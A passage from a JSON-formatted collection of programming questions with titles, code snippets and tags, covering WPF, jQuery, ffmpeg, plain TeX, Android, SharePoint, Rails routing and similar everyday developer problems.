binded, will be a way(e.g. event), so that I can dynamically add controls to the
StackPanel.\nfor example, my data has a column called AnimalType, if it is a cat, I
will add an image to the StackPanel; if it is a cow, I will put a media element to
play a movie; if it is a dog, I will put a hyper link, etc.\nHow can I do that?\n",
" <GridView>\n <GridViewColumn Header=\"Name\" Width=\"500\">\n
<GridViewColumn.CellTemplate>\n <DataTemplate>\n
<StackPanel Orientation=\"Horizontal\">\n\n </StackPanel>\n
</DataTemplate>\n </GridViewColumn.CellTemplate>\n
</GridViewColumn>\n <GridViewColumn DisplayMemberBinding=\"{Binding
TypeName}\" Header=\"Type\" Width=\"100\" />\n </GridView>\n", "wpf gridview
dynamic datatemplate"], "1481774": ["HTML5 Audio progress bar length", "\nThis code
is working perfectly fine. the issue I have in here is the progress bar. some
tracks doesn't fill in completely the progress bar. for a example if a track is
just 2 mins long it won't basically complete the progress container. if the track
is over 6 minutes long the progressbar is going outside the player container.\nMy
Question how can I create a progress bar where no matter how long the duration of
the track is it will completely load or finish the progress bar. given that we have
a specific width for the length of the progressbar container.\nHere's the code in
jsfiddle http://jsfiddle.net/vUpeC/\n", "<html>\n <head>\n <script
type=\"text/javascript\"
src=\"http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js\"></script>\n
<script>\n $(document).ready(function(){\n\n var counter
= 0;\n var numOfTracks = $(\".audio-player\").length;\n
$(\"#play-bt\").click(function(){\n $(\".audio-player\")
[counter].play();\n $(\"#message\").text(\"Music started\");\n
})\n\n $(\"#pause-bt\").click(function(){\n $
(\".audio-player\")[counter].pause();\n $
(\"#message\").text(\"Music paused\");\n })\n\n $
(\"#stop-bt\").click(function(){\n $(\".audio-player\")
[counter].pause();\n $(\".audio-player\")[counter].currentTime =
0;\n $(\"#message\").text(\"Music Stopped\");\
n })\n\n $(\"#next-bt\").click(function(){\n
$(\".audio-player\")[counter].pause();\n $(\".audio-player\")
[counter].currentTime = 0;\n counter++;\n\n\n
if(counter > numOfTracks - 1){\n counter = 0 ;\n
}\n\n $(\".audio-player\")[counter].play();\n
$(\"#message\").text(\"Next Track started\");\n })\n\n
$(\"#prev-bt\").click(function(){\n $(\".audio-
player\")[counter].pause();\n $(\".audio-player\")
[counter].currentTime = 0;\n counter--;\n $
(\".audio-player\")[counter].play();\n $
(\"#message\").text(\"Previous Track\");\n })\n\n $
(\".audio-player\").bind('timeupdate', function(){\n\n //Gets
the whole duration of the track.\n //No idea kung saan ko
ilalagay sa UI**IMPLEMENT LATER**\n var track_length = $
(\".audio-player\")[counter].duration;\n var secs = $(\".audio-
player\")[counter].currentTime;\n var progress =
(secs/track_length) * 100;\n\n $('#progressbar').css({'width' :
progress * 2});\n\n //Will Use these later on production\n
//NOTE DO NOT DELETE\n //Track Minutes\n var
tcMins = parseInt(secs/60);\n //Track Seconds\n
var tcSecs = parseInt(secs - (tcMins * 60));\n\n if (tcSecs <
10) { tcSecs = '0' + tcSecs; }\n\n // Display the time.
REMEMBER\n $('#timecode').html(tcMins + ':' + tcSecs);\n
})\n })\n </script>\n <style>\n\n /*Seperate
this some time in the development*/\n\n #playerContainer{ \n
background-color: #A8A8A8 ; \n width: 260px; \n height:
55px;\n padding: 8px;\n border: 1px solid #d0d0d0;\
n }\n /* Player Controls */\n\n /*list items of controls */\n\
n #playerControls li { \n display: block; \n width:
32px; \n height: 32px; \n padding: 0px;\n float:
left; \n cursor: pointer;\n }\n\n #playerControls { list-
style: none; padding: 0px; margin: 0px;}\n\n /*Images for each li items
items */\n #play-bt { background: url('icons/glyphicons_173_play.png');
background-repeat:no-repeat }\n #pause-bt {background:
url('icons/glyphicons_174_pause.png'); background-repeat:no-repeat;}\n
#next-bt { background: url('icons/glyphicons_176_forward.png'); background-
repeat:no-repeat}\n #prev-bt {background:
url('icons/glyphicons_172_rewind.png'); background-repeat:no-repeat;}\n\n
/*Progress Stuff*/\n\n\n /*Remember to manipulate its width via javascript
later*/\n #progressContainer \n { \n background-
color:#e0e0e0;\n height: 14px; \n width: 256px; \n
float: left;\n margin-left: 0px;\n }\n\n #progressbar
{background-color: #1384bb; height:14px; width:0%; }\n\n </style>\n
</head>\n<body>\n <audio class =\"audio-player\" name= \"audio-player\"
src=\"04-zedd-stars_come_out_(terravita_remix).ogg\" >\n <p>Sorry
your file doesn't support html5</p>\n </audio>\n <!--Second
Track For Testing Purposes-->\n <audio class =\"audio-player\"
name= \"audio-player\" src=\"01-hard_rock_sofa-quasar.mp3\" ></audio>\n\n
<div id=\"message\"></div>\n <div id = \"playerContainer\">\n\n
<ul id = \"playerControls\" >\n <li id = \"prev-bt\"></li>\
n <li id= \"play-bt\"></li>\n <li id=
\"pause-bt\"></li> \n <li id = \"next-bt\"></li>\n
<li id= \"stop-bt\" ></li>\n <li><span id
=\"timecode\"></span></li>\n\n </ul>\n
<div id=\"progressContainer\"><!-- Progess bars container //-->\n
<div id=\"progressbar\"></div>\n </div>\n
</div>\n\n </div>\n\n\n\n </body>\n</html>\n", "javascript jquery
html5 audio progress-bar"], "2459871": ["Test for AJAX in mobile browsers", "I'm
building a mobile web application that may or may not rely on ajax, depending on
whether the user's browser supports javascript. Since I'm using JQuery, I want to
make sure the mobile browser supports AJAX through JQuery before enabling my AJAX
functionality.\nI'm running into a problem with Opera Mini because of the way it
renders pages, and I'm not sure how to check it. Here's the code I'm using to test
for AJAX:\n\nWhere init_ajax() enables my ajax functionality and disables my static
functionality.\nThe problem is, Opera Mini runs this code successfully before
outputting the page to the browser, but then ajax does not actually work on the
rendered page. I tried running this function in a setTimeout instead of on
document.ready, but encountered the same problem.\nIs there a universal way to
accurately test for the presence of AJAX in mobile browsers?\nP.S. If you want to
test your solution in Opera Mini, there's a fully functional emulator here:\
nhttp://www.opera.com/mini/demo/\n[Edit] I should mention that this application
needs to make an ajax call approximately once per minute using setInterval, so even
though Opera Mini does support some ajax when it is triggered by an onclick, I
don't believe there's any way to make it support ajax calls made at a certain
interval. If we could test for this, that would likely solve the problem above.\
n", "$(document).ready(function () {\n $.get(\n 'test.txt',\n function() {\n
init_ajax();\n }\n );\n});\n", "javascript jquery ajax mobile mobile-web"],
"70362": ["Get HTML element ID that added later by Javascript", "how can I get IDs
of a html elements that added to page later by using javascript? JS changed the
HTML contains after it's rendered thus selenium can't get the \"just added\" html
elements.\nThank you.\n", "", "selenium"], "2939154": ["How can I suppress the
header for the first page in a chapter", "I'm trying to implement a macro that
begins a chapter. I don't want to use latex or fancyhdr but only plain tex (for
pedagogical reasons). The code is the following\n\nAs you can see the header will
be printed in both pages, but I want it not to be printed in the first page of the
chapter. I've been thinking and looking in the web unsuccessfully. What is the best
way to do this?\n", "\\headline={\\hfil{\\tenrm\\folio}\\hfil}\n\\nopagenumbers\n%
Counters and macros for handling chapters\n\\newcount\\fChapterNumber\n\\global\\
fChapterNumber=0\n\\def\\fBeginChapter#1{\n % Initialization\n \\advance\\
fChapterNumber by 1\n % Formatting\n \\vfill\\eject\n \\hrule height0.7mm\n \\
vskip 5mm\n \\centerline{\\tenrm \\noindent Chapter \\the\\fChapterNumber}\n \\
vskip 18mm\n {\\tenbf \\noindent #1}\n \\vskip 35mm\n}\n\n% DOCUMENT %\n\\
fBeginChapter{Analisis I}\nblah, blah, blah, blah,...\n\\vfill\\eject\nblah, blah,
blah, blah,...\n\\bye\n", "header-footer plain-tex"], "1294848": ["Free NTFS
partition recovery after disk was formatted in Mac OS X", "I have a 1Tb disk which
was partitioned into a ~700gb ntfs disk and a 300gb HFS+ (Mac OS X). I've
accidentally allowed Mac OS X to wipe the hard-disk and create a single HFS+
partition over the hard-drive. I want to recover my NTFS partition.\nTestDisk fails
to find the NTFS partition, but the DiskInternals solution does find my files. Are
there any free alternatives to DIskInternals Partition recovery solution? THe tool
should simply go block by block and attempt to reconstruct the files.\n", "",
"windows osx ntfs data-recovery hfs+"], "2806510": ["Add an image to mp3, and
convert it to a video file using ffmpeg", "I have the following files:\n 1. a jpeg
image\n 2. an mp3 file of some length say (3 minutes) \nI want to convert this to
a .3gp video. How do I do it? \nI've tried the following:\nCreated a video of zero
length(time) using the jpeg image: \n\nThen, I tried to mix the video and audio
streams as:\n\nOn doing this I get: some error message like \"Codec could not be
determined(Video:0x000)\"\nPlease help.\nThanks.\n", "ffmpeg -f image2 -i
temp_img.jpg temp_video.mpg\n", "ffmpeg"], "2389427": ["What would be the best way
to dynamically add a set of rows to a table using JQuery?", "I have a following
table using MVC that shows number of items the user has.\n\nI will have a button
that will Add New Item that will dynamically add identical structure.\nAlso, How
would I assign a unique ID to each of the input controls? \nIn my controller I need
to loop through total number of items and get a value from each input control by
Request.Form.Get(\"Name_\" + i);\nAny ideas on what is the best way to do this
using JQuery?\nThanks for all the suggestions!\n", " <table border = \"1\"
id=\"tblItems\">\n <%\n var itemnum = 1;\n
foreach (var item in Model.Items)\n {%>\n\n <tr>\n
<td colspan=\"2\" bgcolor=\"Silver\"><strong>Item#<%=itemnum%></strong></td>\n
<td><%=Html.ActionLink(\"Delete\", \"DeleteItem\", \"Item\", new { id = item.ID })
%></td>\n\n </tr>\n <tr>\n
<td><strong>Name:</strong></td>\n <td><
%=Html.TextBox(\"ItemName_\" + itemnum, item.Name)%></td>\n </tr>\n
<tr>\n <td><strong>Description:</strong></td>\n
<td><%=Html.TextBox(\"ItemDescription_\" + itemnum, item.Description)%></td>\n
</tr>\n\n\n <%itemnum++;\n } %>\n </table>\n",
"javascript jquery asp.net-mvc"], "5550319": ["Haskell image processing library?",
"Anyone have a recommendation for a good image processing package for Haskell? Why
do you like it?\n", "", "haskell image-processing"], "2997788": ["How insert
a RTL citation in a LTR article", "How can I insert a RTL citation (e.g Persian)
in a LTR (e.g. English) article using BibTeX?\n", "", "bibtex citing bidi"],
"3980517": ["Compile error with JOGL", "I try to compile a simple Java program with
JOGL OpenGL, from the command line. In the Eclipse all works fine, when I compile
it from the command line with I get the following error:\n\nI already add to all
the .jar files I find in JOGL directory. The to build the program is the
following:\n\n", "javac", "java opengl jogl"], "5127177": ["jQuery accordion: some
parts expand, some don't", "So i have this accordion that's working pretty well
(many thanks to thanks to this community), but i'm stuck on one part : how do i get
the images to stay centered whil the text box expands on click (more obvious on
the click of the first image in this JsFiddle) and then get the text box
to \"unexpand\" when some other image is hovered on?\n", "", "jquery html
accordion"], "4238702": ["JSON serialisation not supported objective c", "I am
getting below error when I am using Dictionary with array of object : \n\nError :
JSONFragment failed. Error trace is: (\n \"Error
Domain=org.brautaset.JSON.ErrorDomain Code=1 \\\"JSON serialisation not supported
for DocumentType\\\" UserInfo=0xb5cc270 {NSLocalizedDescription=JSON serialisation
not supported for DocumentType}\",\n \"Error
Domain=org.brautaset.JSON.ErrorDomain Code=1 \\\"Unsupported value for key
DocumentTypes in object\\\" UserInfo=0xb580e60
{NSUnderlyingError=0xb585320 \\\"JSON serialisation not supported for
DocumentType\\\", NSLocalizedDescription=Unsupported value for key DocumentTypes in
object}\"\n)\nbut not getting same error with :\n\nabove gives me correct JSON
representation.\nWhat I am doing wrong? can any one help me on above....\nActually
my array contains core data class object and it's not supporting JSON
representation so I changed by implementation now it's working fine. If is there
any way to change coredata class objects representation in JSON please update me.
Thanks.\n", "NSMutableDictionary *jsonDict=[[NSMutableDictionary alloc] init];\
n[jsonDict setObject:checkMarkPresetRecipientsArray forKey:@\"Names\"];\n[jsonDict
setObject:checkMarkDocumentGroupNameArray forKey:@\"Address\"];\njson = [jsonDict
JSONFragment];\n", "objective-c json nsdictionary json-framework"], "3816719":
["Advanced counting", "I want to count how many cells that have a value given that
a corresponding cell in another column has the value x. Any good ideas how to get
this done? The value given if one wanted to count how many cells in A has a value
given that the corresponding cell in B has an x on the dataset on the image under
is 4\n\n", "", "excel worksheet-function"], "883196": ["How to determine which
printer eats CPU on Windows 2003", "Our customer has many printers on his server.
And sometimes the spoolsv.exe consumes about 100% of CPU.\nPlease advice me how to
determine what printer driver causes this problem (without disabling of printer
drivers)?\nUnder Windows 2008 there is the \"Printer Driver Isolation\" option,
maybe for Windows 2003 there is an alternative?\nThank you.\n", "", "printing
windows-server-2003 cpu-usage spool"], "4894440": ["How can I find a user's GEO
Location using ASP.NET?", "How can I get hold of a user's GEO location within my
ASP.NET application? I've noticed on browsers like Firefox and Google Chrome, I (as
the user) am prompted as to whether or not to allow the site to have access to my
location.\nHow can I achieve a similar thing to this?\n", "", "asp.net firefox
google-chrome asp.net-2.0 geolocation"], "919814": ["How to install RAID drivers on
already installed Windows 7?", "\n64-bit Windows 7 Ultimate \n6GB RAM\nIntel i7 920
\nIntel X25-M SSD 80GB 2,5\" \nClub 3D Radeon HD5750 \nGA-EX58-UD4P Motherboard\n\
nI've been running fine with Windows 7 installed on the SSD. I wanted to create an
mirrored Raid-1 setup for backups using two hard disks, so I ordered two Samsung
HD203WI. \nThis motherboard supports two different RAID controllers, the Intel's
ICH10R and Gigabyte's SATA2 SATA controller. There are 6 SATA ports behind the
ICH10R and 2 SATA ports for the Gigabyte controller. I googled around and seemed
that the ICH10R is a better choice and since then I've been trying to make it work.
\nWhen I activate the [RAID] mode from BIOS, the Windows 7 gives BSOD exactly as
described by this guy: \"Windows 7 will start to boot, it gets to the screen where
there are 4 colors coming together and it blue screens and restarts no matter what
I do.\"\nFirst thing I did: turned off the RAID and booted to Windows and tried to
install the SATA RAID drivers from Gigabyte. I launch the driver installation
program and it gives \"This computer does not meet the minimum requirements for
installing the software\" error. I then tried Intel's Rapid Storage Technology
drivers (which apparently is the same as the one offered at Gigabyte's site), but
it resulted in exactly the same error. \nI then detached the new Samsung hard disks
from the SATA ports, but left the [RAID] enabled in BIOS. To my surprise, it still
BSOD'd, so at this point I knew it is an OS/driver issue. Also, I tried with the
Gigabyte's RAID enabled (while the ICH10R RAID disabled) and it booted just fine. \
nSo then I thought, that maybe I can't install the RAID drivers from within the OS.
So I caused the BSOD on purpose once again, and then with ICH10R RAID activated and
Samsung hard disks attached, I choose the Windows 7 Recovery mode in the boot menu.
It sees some problem(s), tries to repair, does not succeed and does not ask for
drivers (which I put on a USB stick) to install. I also tried to use the command-
line in the recovery: \"rundll32 syssetup, SetupInfObjectInstallAction
DefaultInstall 128 iaStor.inf\" but it gave \"Installation failed.\" \nSo I'm
clueless how should I proceed. Do I really need to re-install Windows 7 and load
RAID drivers in the Win7 setup? I don't want to install any OS on the RAID, the
Windows 7 is and will be on the SSD. I just want to have a RAID-1 backup using
those two hard disks. \nI mean why would I need to re-install operating system to
add RAID setup?\n", "", "windows-7 bsod raid-1"], "272276": ["Gridview tooltip
inserting index or check cell for value", "Trying a different approach for
tooltipping on a gridview using the following code:\n\nHow would I go about
manipulating this code so that the first column tooltip says \" presents the
category description\", the second column says \"represents the total percentage\",
etc, etc.\nI'm not sure how would go about achieving different tooltip text for
each column - would I implement an index or add in another loop? I'm not sure where
to go from here...apologies for being thick.\n", "protected void
GridView1_RowDataBound(object sender, GridViewRowEventArgs e)\n {\n\n
{ \n if (e.Row.RowType == DataControlRowType.Header) \n
{ \n foreach (TableCell cell in e.Row.Cells) \n
{ \n foreach (Control ctl in cell.Controls) \n
{ \n if
(ctl.GetType().ToString().Contains(\"DataControlLinkButton\")) \n
{ \n
cell.Attributes.Add(\"title\", \"tooltip text for \" + ((LinkButton)ctl).Text);\n\n
} \n\n } \n } \n
} \n }\n\n }\n", "gridview header tooltip"], "5522642": ["SDL -
drawing 'negative' circles (Fog of War)", "I have this 800x600square I want to draw
to the screen. I want to 'cut' circles in it (where alpha would be 0). Basically
I'm drawing this whole rectangle over a map so in these 'circles' I drew, you can
see the map, otherwise you see the grey square\n", "", "c++ sdl"], "2774938": ["How
to merge video flv and audio wav file in ffmpeg", "I want to merge an audio .wav
with a video .flv using ffmpeg\nPlease suggest me how to achieve this. i am using
this command on ubuntu 12 :\n\nbut not getting success. i'm getting unnone tag
libx264 \n", "ffmpeg -i recod_audio.wav -i recod_ideo.flv -acodec libx264 -vcodec \
nlibx264 output.flv\n", "ffmpeg flv"], "5660516": ["Is it possible that
REMOTE_ADDR could be blank?", "As far as I'm aware, the webserver (Apache/Nginx)
provides the () based on the claimed location of the requesting user agent. So I
understand they can be lying, but is it possible that this value could be blank?
Would the network interface or webserver even accept a request without a correctly
formed IP?\nhttp://php.net/manual/en/reserved.variables.server.php\n",
"$_SERVER['REMOTE_ADDR']", "php networking webserver"], "419081": ["Get line number
that contains a string", "How to get a line number that contains a specified string
in a text file?\nExample text file contains:\n\nRed\n White\n Yellow\n Green\n\
nHow to get \"Yellow\" line number? and can i write a string in a specified line,
lets say i want to write a string in line 2?\n", "", "vb.net text numbers line"],
"3272617": ["Second call to AVAudioPlayer -> EXC_BAD_ACCESS (code posted, what did
I miss?)", "I'm using this code to play a different mp3 files with every call. The
first time through works great. The second time crash, as indicated below.\n.h\n\
n.m\n\nI know I must have missed something, any ideas?\n", "AVAudioPlayer *player;\
n@property (nonatomic, retain) AVAudioPlayer *player;\n", "iphone avaudioplayer"],
"2401672": ["Easy Javascript RSS parser", "I've written a PHP RSS parser which
return text that contains the title and description of all items in the feed, and I
use it in this way:\n\nNow I need the same, but with a script
in client-side (instead of server-side like my PHP). Javascript seems right for
this, but I really don't know any Javascript. Can you help me with this issue?\
nNote: Please remember that i need to return the result to a , so APIs like the
Google parser don't work for me. Thanks\n", "<marquee><?php
include(\"rssparser.php\") ?> </marquee>\n", "javascript rss"], "921647": ["How to
enable sub menu on the global menu?", "We recently signed up for Office 365 and are
in the process of building out oure SharePoint site. \nWe started with the default
site, a Team Site and have built out the following site map:\n\nSite\n\nSub Site 1\
nSub Site 2\n\nSub Site 3\nSub Site 4\n\nSub Site 5\n\n\nThe main navigation
appears as:\nSub Site 1 | Sub Site 2 | Sub Site 5\nWe would like a drop down menu
to appear when the user hovers over Sub Site 2, showing the Sites under that Site.\
nIt looks like SharePoint 2010 supports this, for the life of me I can't seem to
get the settings right to make this work.\nAny help would be appreciated!\nPer the
recommendation below ... I located the following:\n\nIt looks correct ... but menus
still not displaying.\nSo I made those changes in the master page ... and then I
checked the box below:\n\nI do get a drop down menu, but now it seems my links are
duplicated:\n\n", "<SharePoint:AspMenu\n ID=\"TopNavigationMenuV4\"\n
Runat=\"server\"\n EnableViewState=\"false\"\n
DataSourceID=\"topSiteMap\"\n AccessKey=\"<%
$Resources:wss,navigation_accesskey%>\"\n UseSimpleRendering=\"true\"\n
UseSeparateCss=\"false\"\n Orientation=\"Horizontal\"\n
StaticDisplayLevels=\"2\"\n MaximumDynamicDisplayLevels=\"1\"\n
SkipLinkText=\"\"\n CssClass=\"s4-tn\"/>\n", "navigation sharepoint-online"],
"4844701": ["mysql 5.0.23 vs 5.5 performance benefits and upgrade issues?", "I have
been told that mysql 5.5 has a significant performance boost compared to 5.0\nOur
server handles a lot of data (around 30 million records processed per 5-10 seconds)
and requires every drop of performance boost we can give. Will it be beneficial if
we upgrade from 5.0.23 to mysql 5.5?\nAlso, we have lots of database indexes setup
on the tables and I've been told that sometimes the indexes become corrupt after a
version upgrade and they have to be rebuilt. Is this true?\n", "", "mysql indexing
mysql5"], "663116": ["Java swing combo box only calling listener once", "Very new
to Java and Swing, and I have been playing with a swing gui application. It
generated some code for my combo box:\n\nand i also have this:\n\nI have 2
questions.\n\nWhen I change the selected item in the combo box i get the
message \"change!\" only the first time it is changed. Why is this?\nWhen googling
for a solution, all the code for setting up the listener was different to the code
generated for me. e.g\nbox.addItemListener(new ItemListener(){\n public void
itemStateChanged(ItemEvent e){\n System.out.println(e.getItem() + \" \" +
e.getStateChange() );\n }\n});\n\nIs the way i'm createing the listener correct?
why are there two ways to do this?\nThanks\n",
"comboBox.addActionListener(EventHandler.create(ActionListener.class,
TestController, \"changeSomething\"));\n", "java swing"], "264399": ["Nunit -
TestContext.CurrentContext.Test not working", "I am using nunit 2.5.9.10348 and
trying to extract the current test name in the TearDown event so I can assign a
screengrab filename the test name however it is always null (see the attached
image). The private _context variable does have the TestName however this is no use
to me!\nHas anyone had success using this new TestContext functionality (from
2.5.7).\n\n", "", "c# unit-testing nunit nunit-2.5.9"], "2367892": ["How can I pass
the arguments to the lua file through the lua CLI", "I have a LUA CLI which takes
in the lua command, \nSomething like this \n(lua)> # \nNow here inorder to execute
the lua file I run the command \n(lua)> # dofile(\"a.lua\")\nI want a command which
will execute the file and also pass a argument to it.\nNow here I want to pass a
argument to the \"a.lua\" file which will take this argument and call one more lua
file, and this 2nd lua file is called according to the argument, So, I need to
parse this argument.\nPlease, can somebody tell me about the parsing commands that
will be used in a.lua. I mean what are the functions to be used to parse it.\
nPlease, can somebody tell me how to pass a argument to this file \"a.lua\".\n",
"", "lua cli"], "919815": ["HTML textarea; scroll vertically to text", "I have an
HTML textarea:\n\nI want to be able to vertically scroll to the word BOOM so that
it is visible (it doesn't matter on which line it appears).\nIs this possible?\n",
"<textarea>\nSome text\nAnother text in another line\n\nBOOM\n\nHello
there.\n</textarea>\n", "javascript jquery html textarea"], "4479128": ["How to get
localized name of System Folder in Cocoa", "I want to get localized name of System
Folders according to user's language settings.\nFor example, \"Documents\"
directory is displayed \"Documentos\" in Spanish, \"\u66f8\u985e\" in Japanese.\nIs
there any way to get these localized folder name programmatically?\nI'm using Cocoa
framework on OSX 10.6 and 10.7.\n", "", "objective-c cocoa"], "5975820": ["VisualJS
- examples of two-way communication using WebSockets?", "So, I hear that VisualJS
has WebSockets via PokeIn somehow, but I cannot find examples where VisualJS is
used, and where the server sends data to the client/webbrowser.\nVisualJS gives,
like for example VisualWebGUI, me the option to NOT write any client-side messy
HTML/JS etc, but to build my web apps just as I would do with a normal WinForm-app.
\nThat's great, but I would love to see that it also can integrate the WebSockets
into the mix... \nAre there any good examples of such?\n", "", "asp.net
websocket"], "1826456": ["android google maps connection (sont see the map)", "when
i try to open my app i got \"empty\" map,\nthats mean i dont see the map, i can see
the zoom in and zoom out buttons but there is no map.\nplease help, here is my
code\n\nand here is the logCat logs,\nas you can see there is a connection problem
that i dont know how to fix\n\n", "package com.example.hichride;\n\nimport
com.google.android.maps.GeoPoint;\nimport com.google.android.maps.MapActivity;\
nimport com.google.android.maps.MapController;\nimport
com.google.android.maps.MapView;\n\nimport android.os.Bundle;\nimport
android.app.Activity;\nimport android.view.Menu;\n\npublic class MainActivity
extends MapActivity {\n\n\n MapController mControl;\n GeoPoint GeoP;\n
MapView mapV;\n\n\n @Override\n public void onCreate(Bundle
savedInstanceState) {\n super.onCreate(savedInstanceState);\n
setContentView(R.layout.activity_main);\n\n mapV = (MapView)
findViewById(R.id.mapView);\n mapV.displayZoomControls(true);\n
mapV.setBuiltInZoomControls(true);\n\n double lat = 40.8;\n double
longi = -96.666;\n\n GeoP= new GeoPoint ((int) (lat * 1E6), (int)(longi *
1E6));\n\n mControl= mapV.getController();\n
mControl.animateTo(GeoP);\n mControl.setZoom(13);\n\n\n }\n\n
@Override\n public boolean onCreateOptionsMenu(Menu menu) {\n
getMenuInflater().inflate(R.menu.activity_main, menu);\n return true;\
n }\n\n @Override\n protected boolean isRouteDisplayed() {\n //
TODO Auto-generated method stub\n return false;\n }\n}\n", "android
google-maps google"], "650563": ["Sanity check: Rhino does not have a require
function, right?", "I'm using rhino from the JVM with the jaxax.script interfaces.
I'm trying to evaluate JavaScript that contains 'require' calls. This does not work
because there is no definition of 'require'. Is require just a v8 thing? Or maybe
just a node.js thing? Are there ways around this on the JVM? Options I can think of
are\n\nrewrite the js files by manually including the required code\ncall out to a
separate node.js process\n\n(I'm not necessarily recommending the approaches.)\n",
"", "javascript jvm rhino"], "3980911": ["Android : Sorry Application Keyboard in
Process (Force Quit / Wait)", "When a try to deploy my android App in the emulator,
after the application(.apk) gets loaded in to the emulator, when i tap on the menu
button in emulator for loading my application's initial screen, its is raising me a
alert message with this information,\n\nand some other similar messages too..\nWhat
does it mean,can anybody help me...How can i avoid this issue that is happening at
all time, \nWhen this happens,unless i tap on Wait button, i can't able to
proceed.\nThanks in advance..\n", "<pre>Sorry Application Keyboard in Process
(Force Quit / Wait)..</pre>\n", "android android-emulator"], "3557771": ["Skip
unknown command line arguments", "In a current application I have, the incoming
command line parameters are parsed on several \"levels\".\nAt the highest level I
only wish to parse some options and leave the rest to \"lower levels\". however,
all libraries I've tried so far (Common Cli, args4j, JOpt, gnu.jargs) al throw
an \"unknown option\" exception when I'm trying to feed them, well, unknown
options.\nI really don't want to write a yet another command line parsing class. Is
there a library/class that parses these options and skips over unknown options?\
nThank you\n", "", "java command-line command-line-arguments"], "5305449": ["python
scikits learn - SVM options", "Just curious about two options in scikits learn SVM
class. What does Scale_C and shrinking do? There wasn't much in the documentation.
Scale C seems to be able to scale the C paramter appropriately for the training
data.\nThanks\n", "", "python machine-learning svm scikits scikit-learn"],
"4011757": ["How to group together iOS elements so they can be operated on as a
single element", "I have 3
UI elements in my iOS app that I would like to treat as a single entity when
animating.\nThere's a a UIImageView on top of which sits a UILabelView and
UIActivityIndicatorView. Is there a way to group these things together and animate
the group without having to animate each one independently?\n", "", "objective-c
ios cocoa core-animation"], "5921034": ["emulating/simulating keydown event on a
mouse click on a particular element", "I am unable to simulate backspace when i
click on a div\"that is backspace\" on my virtual dialpad.\ni used trigger passing
e.which and the keydown event is called but no action is performed .\nAny help will
be appreciated ...\n\n", "//dialpadentry is textbox that displays the value
dialed.\n$(\"#dialpadentry\").keydown(function(event) {\n if(event.keyCode == 8)\
n { \n alert(\"hi\");\n console.log (event);\n return;\n }\n\
n//This is the div that acts as a backspace for the dial-pad..\n\n`$
(\"#dialpadbackspace\").click(function(){\n\n var event =
jQuery.Event(\"keydown\");\n event.which = 8;\n
event.ctrlKey = false;\n event.originalEvent=Event.keydown;\n
$(\"#dialpadentry\").trigger(event);\n\n });`\n", "jquery simulation
backspace"], "5584917": ["improve Tesseract performance with OpenCV on Android", "I
am working on a Android application using real-time OCR. I using OpenCV and
Tesseract Library. But the performance is very poor, even on my Galaxy SIII. There
are any methods to improve the performance? It is my code:\n\nWill the speed of
tesseract OCR be reduced by passing bitmap to the Tesseract API? What pre-
processing should I perform before passing to the Tesseract API?\n", " Mat mGray
= new Mat();\ncapture.retrieve(mGray);\nBitmap bmp =
Bitmap.createBitmap(mGray.cols(), mGray.rows(), Bitmap.Config.ARGB_8888);\
ntessBaseApi.setImage(bmp);\nString recognizedText = tessBaseApi.getUTF8Text();\
nLog.i(\"Reg\", recognizedText);\n", "java android opencv ocr tesseract"],
"4132932": ["Apache - Self assigned SSL Help", "How would I self assign a SSL Cert
on Apache (XAMPP) on a Windows 2003 server? I have researched and the farest I got
was a broken SSL Cert with \"Common name\" problem.\nPost your guide or links
here,\nThanks.\n", "", "apache ssl apache2 xampp ssl-certificate"], "2158379": ["MY
USB3 Card is preventing my computer from sleeping. How can I stop it?", "Whenever I
try to put my computer to sleep, it wakes up instantly. I have found out it is the
USB 3 card I recently purchased which is the problem, as when I disable it in
Device Manager my computer sleeps fine. Any ideas? I have tried most of the power
options as well. \nThe driver is a ASMedia XHCI Controller. Generic USB 3 PCI-e
card.\n", "", "usb sleep"], "2216620": ["Storing files in SQL server vs something
like Amazon S3", "Whats the advantage/disadvantage between storing files as a byte
array in a SQL table and using something like Amazon S3 to store them? Whats the
advantage of S3 that makes it so I should use that instead of SQL?\n", "", "sql
sql-server-2008 amazon-ec2 amazon-web-services"], "3497302": ["DataTable + DataGrid
Data Binding Performance Againsts Custom Data Source Object + Data Grid", "In our
industrial automation application, we need to capture and display the data in the
milliseconds.\nWe have data binding between data grid control and a DataTable
object. We have around three hundred records which needs to be display in the grid.
So we update the 300 records every time we get the records. \nExample \n\nAfter
connecting 10 devices, the CPU usage goes 15%. How to improve the performance using
DataTable or using some custom data source\nRegards,\nKrishgy\n", "
TabularViewTable tvt = _presenter.WorkItem.Items.Get<TabularViewTable>
(\"TabularViewTable\");\n\n foreach (DataRow row in tvt.Rows)\n {\n
row[\"Value\"] = GetDataFast(row[\"Name\"]); \n }\n", ".net
performance data-binding datatable"], "2922461": ["Intercept only the outermost
decorator", "I'm working on a project that uses Castle Windsor, with a mix of
decorators and dynamic interception being used to add functionality to the root
implementations. \nFor example, suppose I'm working on a portion of the data
access layer that needs to do some caching as well as general-purpose error
logging, as implemented with the following:\n\nSo far so good, except that I'm
unsure of how best to implement the pointcut. I want to ensure that the
interceptor is not applied to every object in the chain of decorators. Instead it
should only be applied to the outermost decorator. In this case, it should be
getting applied to and not . I've got a lot of classes in the actual solution, so
if possible I'd like to use an interceptor selector to do it in order to avoid a
lot of repetitive code for manually applying interceptors. \nAnd that's where I get
stuck. Obviously I don't want to hard-code it into the , since the specific object
which needs to have the interceptor supplied might be different whenever the
selection of decorators or the order in which they're applied changes. At that
point I'm sure it would be a lot easier to stick with manual registration. And I
can't figure out any sort of convention that will do the job.\nSo, can it be done?
Or should I accept my fate, get into my clipboard, and start banging away on some
IWindsorInstallers? \n", "interface IRepository \n{ \n /* . . . */ \n}\n\n//
base implementation\nclass SqlRepository : IRepository\n{ \n /* . . . */ \n}\n\
n// decorator to implement caching\nclass CachingRepository : IRepository\n{ \n
private readonly IRepository _base;\n\n /* . . . */ \n}\n\n// interceptor to
implement generic logging\nclass LoggingInterceptor : IInterceptor\n{ \n
/* . . . */ \n}\n", "c# castle-windsor dynamic-interception"], "620229": ["Override
host app's root route from Mountable Engine", "I'm writing a mountable Rails 3
Engine, and I am combining my engine's routes with the host app's. However, the
host app's routes are taking precedence over my engine's routes. Is there a way I
can override the host app's routes (specifically the root route)?\nHere's my
engine's routes in :\n\nAnd here's the results of , with the host's root sitting at
the top:\n\nSpree is one gem that does this, but I haven't been able to find how
